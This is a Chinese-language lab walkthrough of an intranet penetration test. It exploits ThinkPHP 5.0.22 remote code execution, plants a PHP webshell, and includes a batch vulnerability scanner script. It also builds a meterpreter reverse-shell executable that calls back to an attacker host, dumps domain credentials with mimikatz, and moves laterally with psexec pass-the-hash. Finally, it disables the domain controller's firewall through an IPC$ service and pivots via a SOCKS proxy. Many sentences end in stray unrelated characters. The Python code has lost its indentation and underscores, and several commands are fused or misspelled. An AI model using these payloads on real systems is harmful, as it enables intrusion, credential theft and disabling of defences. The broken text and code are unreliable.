前言
在內(nèi)網(wǎng)滲透的過程中思路才是最重要的芹橡,本次內(nèi)網(wǎng)滲透的主機雖然不多,主要還是鍛煉自己內(nèi)網(wǎng)滲透的一個思想有勾。
環(huán)境搭建
靶場:
win7(內(nèi)):192.168.138.136
win7(外):192.168.10.25
域內(nèi)主機:
win2008:192.168.138.138
web服務(wù)器滲透
nmap探測端口
nmap -T4 -sC -sV 192.168.10.25
這里可以看到幾個主要的端口疹启,例如80、135蔼卡、139喊崖、445,這里首先就可以想到可以利用的點有ipc雇逞、smb
開了80端口塘砸,嘗試訪問web地址,老笑臉人了掉蔬,而且還是5.x版本,洞還是比較多
為了確定具體版本女轿,這里先使用報錯查看,發(fā)現(xiàn)這里的版本為5.0.22谈喳,如果沒記錯的話這里是有一個tp遠程命令執(zhí)行漏洞的
漏洞描述:由于thinkphp對框架中的核心Requests類的method方法提供了表單請求偽造册烈,該功能利用_POST['_method']='__construct'而讓該類的變量被覆蓋。攻擊者利用該方式將filter變量覆蓋為system等函數(shù)名唉堪,當內(nèi)部進行參數(shù)過濾時便會進行執(zhí)行任意命令肩民。
thinkphp getshell
這里我首先在kali里面找一下有沒有相關(guān)的漏洞
searchsploit thinkphp
可以看到這里有一個5.x遠程執(zhí)行漏洞灶搜,這里直接進入這個文件夾查看一下txt列出來的payload
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt
找到對應版本后fuzz以下payload割卖,這個是列出數(shù)據(jù)庫名字患雏,這里看到數(shù)據(jù)庫名為root
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username
這個payload應該是列出數(shù)據(jù)庫密碼淹仑,但是這里沒有打出來
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password
這里打出phpinfo
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
傳參看一下當前權(quán)限為administrator
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
看一下ip情況取试,雙網(wǎng)卡怀吻,那么大概率有域環(huán)境
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig
看一下進程,發(fā)現(xiàn)無殺軟那么嘗試不用免殺直接寫webshell
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc
這里直接嘗試echo寫一個一句話木馬進去蓬坡,這里因為之前查看過沒有殺軟跟安全狗屑咳,這里就不需要做免殺處理
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php
這里用dir驗證一下是否寫入成功
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
使用蟻劍連接成功
thinkphp批量檢測
這里我思考了一個問題,thinkphp的版本這么多紫皇,如果kali里面的漏洞庫沒有,而在搜索引擎上去搜索又太耗費時間化焕,有沒有一個批量檢測thinkphp漏洞的腳本呢撒桨?
這里我找到了一個thinkphp漏洞批量檢測的腳本
!/usr/bin/env python
-- coding: utf-8 --
name: thinkphp遠程代碼檢測
description: ThinkPHP5 5.0.22/5.1.29 遠程代碼執(zhí)行漏洞
import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkphp_rce(threading.Thread):
def init(self, q):
threading.Thread.init(self)
self.q = q
def run(self):
while not self.q.empty():
url=self.q.get()
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
vulnurl = url + payload
try:
response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)
soup = BeautifulSoup(response.text,"lxml")
if 'PHP Version' in str(soup.text):
print ('[+] Remote code execution vulnerability exists at the target address')
print ('[+] Vulnerability url address ' + vulnurl)
with open('target.txt','a') as f1:
f1.write(vulnurl+'\n')
f1.close()
else:
print ('[-] There is no remote code execution vulnerability in the target address')
except:
print ('[!] Destination address cannot be connected')
def urlget():
with open('url.txt','r')as f:
urls=f.readlines()
for tmp in urls:
if '//' in tmp:
url=tmp.strip('\n')
urlList.append(url)
else:
url='http://'+tmp.strip('\n')
urlList.append(url)
return(urlList)
f.close()
if name=="main":
print('''----------------掃描開始-------------------
*Made by :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN
_______ _ _
|__ __| | | (_)
| | __| | ___ ___ _ __ ___ _ _ __ __ _
| | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \ / _` |
| || (_| || (__| (_) || | | | | || || | | || (_| |
|_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
__/ |
|___/
''')
urlList=[]
urlget()
threads = []
threads_count = 10
q=queue.Queue()
for url in urlList:
q.put(url)
for i in range(threads_count):
threads.append(thinkphp_rce(q))
for i in threads:
i.start()
for i in threads:
i.join()
這里的使用方法很簡單:將要檢測的目標放在url.txt里面,如果存在漏洞的地址將自動生成一個target.txt文本保存
內(nèi)網(wǎng)信息搜集
這里使用蟻劍的命令窗口搜集一下本機信息踱蠢,為administrator權(quán)限+雙網(wǎng)卡
whoamiipconfig
查看一下域相關(guān)信息
net viewnet config workstationnet user /domain
內(nèi)網(wǎng)滲透
上線msf
msf生成一個abc.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe
使用蟻劍上傳到靶機上
這里因為沒有殺軟不用做免殺,直接命令行執(zhí)行即可
msf開啟監(jiān)聽即可上線
信息搜集
使用getsystem提權(quán)到system,這里因為是靶場的原因getsystem比較容易執(zhí)行成功
提權(quán)后獲取一個windows環(huán)境下的shell繼續(xù)對域進行信息搜集
chcp 65001net user /domainnet group "domain computers" /domainnet group "domain controllers" /domainnet group "domain admins" /domain
靶機存在一個名為“sun”的域環(huán)境撕攒,只有一個域控抖坪,這里我直接ping一下域控得到域控ip為192.168.138.138
獲取憑證
這里因為有兩個網(wǎng)段就先把路由添加上方便后續(xù)操作
# msf操作route add 192.168.138.0 255.255.255.0 2route print # session操作run autoroute -s 192.168.138.0/24run autoroute -p
這里選擇session,使用kiwi來獲取靶機密碼握侧,注意這里需要進行的一個操作為進程遷移品擎,因為我們這里上線到msf的載荷是32位的(即x86)萄传,這里需要找一個64位的(即x64)進行進程遷移才能使用kiwi獲取靶機密碼
sessions -i 2load kiwikiwi_cmd privilege::debugpsmigrate 1144kiwi_cmd sekurlsa::logonPasswords
這里可以看到抓取到了一個域管的密碼為dc123.com和一個靶機的密碼123.com
思路
這里抓到了靶機和域管的密碼,那么這里就可以用pth的方法進行橫向移動瓣铣,這是第一種方法棠笑;另外我們可以去檢測一下在另一個網(wǎng)段的機器有什么漏洞可以利用禽绪,如MS17-010印屁、CVE-2020-0796等等,利用漏洞的exp進行橫向移動从橘,這是第二種方法础钠;因為我們之前在用nmap對端口進行掃描的時候是發(fā)現(xiàn)了139和445端口的旗吁,那么我們拿到了密碼的情況下可以嘗試使用ipc+計劃任務(wù)的方式進行橫向移動
內(nèi)網(wǎng)橫向移動
MS17-010嘗試
這里直接使用ms17-010的攻擊模塊進行嘗試,這里其實應該先用掃描模塊對處于另一網(wǎng)段的主機進行漏洞掃描香府,若存在永恒之藍漏洞才繼續(xù)使用exp模塊進行攻擊企孩,這里我為了演示方便就直接上手exp模塊進行攻擊了
這里攻擊可以看到勿璃,雖然靶機存在永恒之藍漏洞但是session反彈不成功运提,這里是因為在windows server2008的情況下匿名管道是默認不開啟的民泵。
我們知道psexec的原理就是使用了管道槽畔,ipc連接也同理。那么在匿名管帶不開啟的情況下永恒之藍的連接是建立不上的嬉橙。這里再說一下匿名管道的概念:
管道是IPC最基本的一種實現(xiàn)機制寥假。我們都知道在Linux下“一切皆文件”糕韧,其實這里的管道就是一個文件。管道實現(xiàn)進程通信就是讓兩個進程都能訪問該文件粪滤。管道的特征:①只提供單向通信杖小,也就是說愚墓,兩個進程都能訪問這個文件浪册,假設(shè)進程1往文件內(nèi)寫東西,那么進程2 就只能讀取文件的內(nèi)容斧账。②只能用于具有血緣關(guān)系的進程間通信咧织,通常用于父子進程建通信③管道是基于字節(jié)流來通信的④依賴于文件系統(tǒng)籍救,它的生命周期隨進程的結(jié)束結(jié)束(隨進程)⑤其本身自帶同步互斥效果
psexec嘗試
因為我們已經(jīng)拿到了域管的帳號那么我們這里就直接使用pth的方法蝙昙,即哈希傳遞奇颠,使用的是psexec模塊,不過這個模塊因為被使用太多導致已經(jīng)被殺軟列入了黑名單圆裕,如果這里有殺軟存在的情況下psexec橫向移動是會被攔截的吓妆。
設(shè)置參數(shù)如下所示,這里注意一下SMBPass這個地方也能夠通過hash進行傳遞祖秒,也能夠通過明文密碼進行傳遞
use exploit/windows/smb/psexecset rhost 192.168.138.138set SMBDomain SUNset SMBUser administratorset SMBPass dc123.comset payload windows/meterpreter/bind_tcprun
這里可以看到exp已經(jīng)利用了但是沒有session反彈回來竭缝,這里我猜測是以為防火墻阻止了端口流量的進出鸭栖,所以這里我們就需要通過ipc連接去關(guān)閉域控的防火墻
ipc連接關(guān)閉域控防火墻
這里的常規(guī)方法是使用netsh關(guān)閉域控防火墻晕鹊,但是這里需要域控的管理員權(quán)限溅话,所以在這里我們就直接使用ipc連接域控然后使用計劃任務(wù)添加規(guī)則關(guān)閉防火墻
netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe"
將session掛在后臺并與域控建立ipc連接
net use \\192.168.138.138\ipc$ dc123.com /user:administrator
這里可以看到連接已經(jīng)建立成功了
利用sc創(chuàng)建計劃任務(wù)立即啟動關(guān)閉域控的防火墻
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" # 創(chuàng)建服務(wù)sc \\192.168.138.138 start unablefirewall # 立即啟動服務(wù)
這里可以看到防火墻已經(jīng)被關(guān)閉了
psexec嘗試*2
這時候我們再使用psexec進行橫向移動就能夠獲得session砚哆,至此我們就拿到了域控的權(quán)限
這里看一下我們直接拿到的就是一個system權(quán)限的session
登錄遠程桌面
這里我想登錄遠程桌面看看域控還有什么有價值的東西就可以使用socks代理正向進入內(nèi)網(wǎng)
使用socks_proxy模塊
use auxiliary/server/socks_proxtset viersion 4arun
這里還需要配置proxychain文件
socks4 192.168.10.11 1080
添加一個內(nèi)網(wǎng)網(wǎng)段的路由
run autoroute -s 192.168.138.0/24run autoroute -p
然后使用proxychain命令即可登錄遠程桌面
proxychain4 rdesktop 192.168.138.138